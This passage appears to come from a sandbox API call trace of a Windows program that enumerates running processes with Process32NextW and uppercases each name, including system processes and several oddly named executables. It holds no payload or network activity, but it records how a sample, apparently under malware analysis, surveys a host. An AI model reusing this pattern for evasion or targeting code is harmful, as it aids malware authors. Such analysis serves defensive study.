lpString1="csrss.exe") returned="csrss.exe" [0130.894] lstrlenW (lpString="csrss.exe") returned 9 [0130.894] CharUpperBuffW (in: lpsz="csrss.exe", cchLength=0x9 | out: lpsz="CSRSS.EXE") returned 0x9 [0130.894] PathFindFileNameW (pszPath="CSRSS.EXE") returned="CSRSS.EXE" [0130.894] lstrcpyW (in: lpString1=0x2b4f928, lpString2="CSRSS.EXE" | out: lpString1="CSRSS.EXE") returned="CSRSS.EXE" [0130.894] Process32NextW (in: hSnapshot=0x294, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x14c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0130.897] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="wininit.exe" | out: lpString1="wininit.exe") returned="wininit.exe" [0130.897] lstrlenW (lpString="wininit.exe") returned 11 [0130.897] CharUpperBuffW (in: lpsz="wininit.exe", cchLength=0xb | out: lpsz="WININIT.EXE") returned 0xb [0130.897] PathFindFileNameW (pszPath="WININIT.EXE") returned="WININIT.EXE" [0130.897] lstrcpyW (in: lpString1=0x2b4f928, lpString2="WININIT.EXE" | out: lpString1="WININIT.EXE") returned="WININIT.EXE" [0130.897] Process32NextW (in: hSnapshot=0x294, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0130.900] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="csrss.exe" | out: lpString1="csrss.exe") returned="csrss.exe" [0130.900] lstrlenW (lpString="csrss.exe") returned 9 [0130.900] CharUpperBuffW (in: lpsz="csrss.exe", cchLength=0x9 | out: lpsz="CSRSS.EXE") returned 0x9 [0130.900] PathFindFileNameW (pszPath="CSRSS.EXE") returned="CSRSS.EXE" [0130.900] lstrcpyW (in: lpString1=0x2b4f928, lpString2="CSRSS.EXE" | out: lpString1="CSRSS.EXE") returned="CSRSS.EXE" [0130.900] Process32NextW (in: hSnapshot=0x294, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0130.902] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="winlogon.exe" | out: lpString1="winlogon.exe") returned="winlogon.exe" [0130.902] lstrlenW (lpString="winlogon.exe") returned 12 [0130.902] CharUpperBuffW (in: lpsz="winlogon.exe", cchLength=0xc | out: lpsz="WINLOGON.EXE") returned 0xc [0130.902] PathFindFileNameW (pszPath="WINLOGON.EXE") returned="WINLOGON.EXE" [0130.902] lstrcpyW (in: lpString1=0x2b4f928, lpString2="WINLOGON.EXE" | out: lpString1="WINLOGON.EXE") returned="WINLOGON.EXE" [0130.902] Process32NextW (in: hSnapshot=0x294, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x194, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0130.904] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="services.exe" | out: lpString1="services.exe") returned="services.exe" [0130.904] lstrlenW (lpString="services.exe") returned 12 [0130.905] CharUpperBuffW (in: lpsz="services.exe", cchLength=0xc | out: lpsz="SERVICES.EXE") returned 0xc [0130.905] PathFindFileNameW (pszPath="SERVICES.EXE") returned="SERVICES.EXE" [0130.905] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SERVICES.EXE" | out: lpString1="SERVICES.EXE") returned="SERVICES.EXE" [0130.905] Process32NextW (in: hSnapshot=0x294, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x194, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0130.906] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="lsass.exe" | out: lpString1="lsass.exe") returned="lsass.exe" [0130.906] lstrlenW (lpString="lsass.exe") returned 9 [0130.906] CharUpperBuffW (in: lpsz="lsass.exe", cchLength=0x9 | out: lpsz="LSASS.EXE") returned 0x9 [0130.906] PathFindFileNameW (pszPath="LSASS.EXE") returned="LSASS.EXE" [0130.906] lstrcpyW (in: lpString1=0x2b4f928, lpString2="LSASS.EXE" | out: lpString1="LSASS.EXE") returned="LSASS.EXE" [0130.906] Process32NextW (in: hSnapshot=0x294, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0130.908] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0130.908] lstrlenW (lpString="svchost.exe") returned 11 [0130.908] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0130.908] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0130.908] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0130.908] Process32NextW (in: hSnapshot=0x294, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0130.909] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0130.909] lstrlenW (lpString="svchost.exe") returned 11 [0130.909] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0130.909] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0130.909] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0130.910] Process32NextW (in: hSnapshot=0x294, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1cc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0130.911] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="dwm.exe" | out: lpString1="dwm.exe") returned="dwm.exe" [0130.911] lstrlenW (lpString="dwm.exe") returned 7 [0130.911] CharUpperBuffW (in: lpsz="dwm.exe", cchLength=0x7 | out: lpsz="DWM.EXE") returned 0x7 [0130.911] PathFindFileNameW (pszPath="DWM.EXE") returned="DWM.EXE" [0130.911] lstrcpyW (in: lpString1=0x2b4f928, lpString2="DWM.EXE" | out: lpString1="DWM.EXE") returned="DWM.EXE" [0130.911] Process32NextW (in: hSnapshot=0x294, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x40, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0130.912] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0130.912] lstrlenW (lpString="svchost.exe") returned 11 [0130.912] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0130.912] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0130.912] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0130.912] Process32NextW (in: hSnapshot=0x294, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0130.913] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0130.913] lstrlenW (lpString="svchost.exe") returned 11 [0130.913] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0130.913] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0130.913] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0130.914] Process32NextW (in: hSnapshot=0x294, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x358, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0130.915] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0130.915] lstrlenW (lpString="svchost.exe") returned 11 [0130.915] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0130.915] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0130.915] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0130.915] Process32NextW (in: hSnapshot=0x294, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0130.916] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0130.916] lstrlenW (lpString="svchost.exe") returned 11 [0130.916] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0130.916] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0130.916] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0130.916] Process32NextW (in: hSnapshot=0x294, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0130.917] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0130.917] lstrlenW (lpString="svchost.exe") returned 11 [0130.917] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0130.917] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0130.917] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0130.917] Process32NextW (in: hSnapshot=0x294, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0130.918] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0130.918] lstrlenW (lpString="svchost.exe") returned 11 [0130.918] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0130.918] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0130.918] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0130.918] Process32NextW (in: hSnapshot=0x294, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x164, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0130.919] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="spoolsv.exe" | out: lpString1="spoolsv.exe") returned="spoolsv.exe" [0130.919] lstrlenW (lpString="spoolsv.exe") returned 11 [0130.919] CharUpperBuffW (in: lpsz="spoolsv.exe", cchLength=0xb | out: lpsz="SPOOLSV.EXE") returned 0xb [0130.919] PathFindFileNameW (pszPath="SPOOLSV.EXE") returned="SPOOLSV.EXE" [0130.919] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SPOOLSV.EXE" | out: lpString1="SPOOLSV.EXE") returned="SPOOLSV.EXE" [0130.919] Process32NextW (in: hSnapshot=0x294, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x420, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0130.920] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0130.920] lstrlenW (lpString="svchost.exe") returned 11 [0130.920] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0130.920] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0130.920] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0130.920] Process32NextW (in: hSnapshot=0x294, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0130.921] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0130.921] lstrlenW (lpString="svchost.exe") returned 11 [0130.921] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0130.921] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0130.921] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0130.921] Process32NextW (in: hSnapshot=0x294, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0130.922] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="OfficeClickToRun.exe" | out: lpString1="OfficeClickToRun.exe") returned="OfficeClickToRun.exe" [0130.922] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0130.922] CharUpperBuffW (in: lpsz="OfficeClickToRun.exe", cchLength=0x14 | out: lpsz="OFFICECLICKTORUN.EXE") returned 0x14 [0130.922] PathFindFileNameW (pszPath="OFFICECLICKTORUN.EXE") returned="OFFICECLICKTORUN.EXE" [0130.922] lstrcpyW (in: lpString1=0x2b4f928, lpString2="OFFICECLICKTORUN.EXE" | out: lpString1="OFFICECLICKTORUN.EXE") returned="OFFICECLICKTORUN.EXE" [0130.922] Process32NextW (in: hSnapshot=0x294, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0130.923] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0130.923] lstrlenW (lpString="svchost.exe") returned 11 [0130.923] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0130.923] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0130.923] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0130.923] Process32NextW (in: hSnapshot=0x294, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x704, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x324, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0130.924] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="sihost.exe" | out: lpString1="sihost.exe") returned="sihost.exe" [0130.924] lstrlenW (lpString="sihost.exe") returned 10 [0130.924] CharUpperBuffW (in: lpsz="sihost.exe", cchLength=0xa | out: lpsz="SIHOST.EXE") returned 0xa [0130.924] PathFindFileNameW (pszPath="SIHOST.EXE") returned="SIHOST.EXE" [0130.924] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SIHOST.EXE" | out: lpString1="SIHOST.EXE") returned="SIHOST.EXE" [0130.924] Process32NextW (in: hSnapshot=0x294, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x77c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x324, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0130.925] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="taskhostw.exe" | out: lpString1="taskhostw.exe") returned="taskhostw.exe" [0130.925] lstrlenW (lpString="taskhostw.exe") returned 13 [0130.925] CharUpperBuffW (in: lpsz="taskhostw.exe", cchLength=0xd | out: lpsz="TASKHOSTW.EXE") returned 0xd [0130.925] PathFindFileNameW (pszPath="TASKHOSTW.EXE") returned="TASKHOSTW.EXE" [0130.925] lstrcpyW (in: lpString1=0x2b4f928, lpString2="TASKHOSTW.EXE" | out: lpString1="TASKHOSTW.EXE") returned="TASKHOSTW.EXE" [0130.925] Process32NextW (in: hSnapshot=0x294, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x4c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0130.926] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="explorer.exe" | out: lpString1="explorer.exe") returned="explorer.exe" [0130.926] lstrlenW (lpString="explorer.exe") returned 12 [0130.926] CharUpperBuffW (in: lpsz="explorer.exe", cchLength=0xc | out: lpsz="EXPLORER.EXE") returned 0xc [0130.926] PathFindFileNameW (pszPath="EXPLORER.EXE") returned="EXPLORER.EXE" [0130.926] lstrcpyW (in: lpString1=0x2b4f928, lpString2="EXPLORER.EXE" | out: lpString1="EXPLORER.EXE") returned="EXPLORER.EXE" [0130.926] Process32NextW (in: hSnapshot=0x294, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0130.927] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="RuntimeBroker.exe" | out: lpString1="RuntimeBroker.exe") returned="RuntimeBroker.exe" [0130.927] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0130.927] CharUpperBuffW (in: lpsz="RuntimeBroker.exe", cchLength=0x11 | out: lpsz="RUNTIMEBROKER.EXE") returned 0x11 [0130.927] PathFindFileNameW (pszPath="RUNTIMEBROKER.EXE") returned="RUNTIMEBROKER.EXE" [0130.927] lstrcpyW (in: lpString1=0x2b4f928, lpString2="RUNTIMEBROKER.EXE" | out: lpString1="RUNTIMEBROKER.EXE") returned="RUNTIMEBROKER.EXE" [0130.927] Process32NextW (in: hSnapshot=0x294, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x980, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0130.927] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="ShellExperienceHost.exe" | out: lpString1="ShellExperienceHost.exe") returned="ShellExperienceHost.exe" [0130.927] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0130.927] CharUpperBuffW (in: lpsz="ShellExperienceHost.exe", cchLength=0x17 | out: lpsz="SHELLEXPERIENCEHOST.EXE") returned 0x17 [0130.927] PathFindFileNameW (pszPath="SHELLEXPERIENCEHOST.EXE") returned="SHELLEXPERIENCEHOST.EXE" [0130.928] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SHELLEXPERIENCEHOST.EXE" | out: lpString1="SHELLEXPERIENCEHOST.EXE") returned="SHELLEXPERIENCEHOST.EXE" [0130.928] Process32NextW (in: hSnapshot=0x294, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0130.928] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="SearchUI.exe" | out: lpString1="SearchUI.exe") returned="SearchUI.exe" [0130.928] lstrlenW (lpString="SearchUI.exe") returned 12 [0130.928] CharUpperBuffW (in: lpsz="SearchUI.exe", cchLength=0xc | out: lpsz="SEARCHUI.EXE") returned 0xc [0130.928] PathFindFileNameW (pszPath="SEARCHUI.EXE") returned="SEARCHUI.EXE" [0130.928] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SEARCHUI.EXE" | out: lpString1="SEARCHUI.EXE") returned="SEARCHUI.EXE" [0130.928] Process32NextW (in: hSnapshot=0x294, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x948, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="commandsxeroxrelationship.exe")) returned 1 [0130.929] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="commandsxeroxrelationship.exe" | out: lpString1="commandsxeroxrelationship.exe") returned="commandsxeroxrelationship.exe" [0130.929] lstrlenW (lpString="commandsxeroxrelationship.exe") returned 29 [0130.929] CharUpperBuffW (in: lpsz="commandsxeroxrelationship.exe", cchLength=0x1d | out: lpsz="COMMANDSXEROXRELATIONSHIP.EXE") returned 0x1d [0130.929] PathFindFileNameW (pszPath="COMMANDSXEROXRELATIONSHIP.EXE") returned="COMMANDSXEROXRELATIONSHIP.EXE" [0130.929] lstrcpyW (in: lpString1=0x2b4f928, lpString2="COMMANDSXEROXRELATIONSHIP.EXE" | out: lpString1="COMMANDSXEROXRELATIONSHIP.EXE") returned="COMMANDSXEROXRELATIONSHIP.EXE" [0130.929] Process32NextW (in: hSnapshot=0x294, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="nice cu.exe")) returned 1 [0130.930] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="nice cu.exe" | out: lpString1="nice cu.exe") returned="nice cu.exe" [0130.930] lstrlenW (lpString="nice cu.exe") returned 11 [0130.930] CharUpperBuffW (in: lpsz="nice cu.exe", cchLength=0xb | out: lpsz="NICE CU.EXE") returned 0xb [0130.930] PathFindFileNameW (pszPath="NICE CU.EXE") returned="NICE CU.EXE" [0130.930] lstrcpyW (in: lpString1=0x2b4f928, lpString2="NICE CU.EXE" | out: lpString1="NICE CU.EXE") returned="NICE CU.EXE" [0130.930] Process32NextW (in: hSnapshot=0x294, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="video_reviewing.exe")) returned 1 [0130.931] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="video_reviewing.exe" | out: lpString1="video_reviewing.exe") returned="video_reviewing.exe" [0130.931] lstrlenW (lpString="video_reviewing.exe") returned 19 [0130.931] CharUpperBuffW (in: lpsz="video_reviewing.exe", cchLength=0x13 | out: lpsz="VIDEO_REVIEWING.EXE") returned 0x13 [0130.931] PathFindFileNameW (pszPath="VIDEO_REVIEWING.EXE") returned="VIDEO_REVIEWING.EXE" [0130.931] lstrcpyW (in: lpString1=0x2b4f928, lpString2="VIDEO_REVIEWING.EXE" | out: lpString1="VIDEO_REVIEWING.EXE") returned="VIDEO_REVIEWING.EXE" [0130.931] Process32NextW (in: hSnapshot=0x294, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x870, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="shame.exe")) returned 1 [0130.931] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="shame.exe" | out: lpString1="shame.exe") returned="shame.exe" [0130.931] lstrlenW (lpString="shame.exe") returned 9 [0130.931] CharUpperBuffW (in: lpsz="shame.exe", cchLength=0x9 | out: lpsz="SHAME.EXE") returned 0x9 [0130.931] PathFindFileNameW (pszPath="SHAME.EXE") returned="SHAME.EXE" [0130.931] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SHAME.EXE" | out: lpString1="SHAME.EXE") returned="SHAME.EXE" [0130.931] Process32NextW (in: hSnapshot=0x294, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="fantasy.exe")) returned 1 [0130.932] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="fantasy.exe" | out: lpString1="fantasy.exe") returned="fantasy.exe" [0130.932] lstrlenW (lpString="fantasy.exe") returned 11 [0130.932] CharUpperBuffW (in: lpsz="fantasy.exe", cchLength=0xb | out: lpsz="FANTASY.EXE") returned 0xb [0130.932] PathFindFileNameW (pszPath="FANTASY.EXE") returned="FANTASY.EXE" [0130.932] lstrcpyW (in: lpString1=0x2b4f928, lpString2="FANTASY.EXE" | out: lpString1="FANTASY.EXE") returned="FANTASY.EXE" [0130.932] Process32NextW (in: hSnapshot=0x294, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="accepting.exe")) returned 1 [0130.933] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="accepting.exe" | out: lpString1="accepting.exe") returned="accepting.exe" [0130.933] lstrlenW (lpString="accepting.exe") returned 13 [0130.933] CharUpperBuffW (in: lpsz="accepting.exe", cchLength=0xd | out: lpsz="ACCEPTING.EXE") returned 0xd [0130.933] PathFindFileNameW (pszPath="ACCEPTING.EXE") returned="ACCEPTING.EXE" [0130.933] lstrcpyW (in: lpString1=0x2b4f928, lpString2="ACCEPTING.EXE" | out: 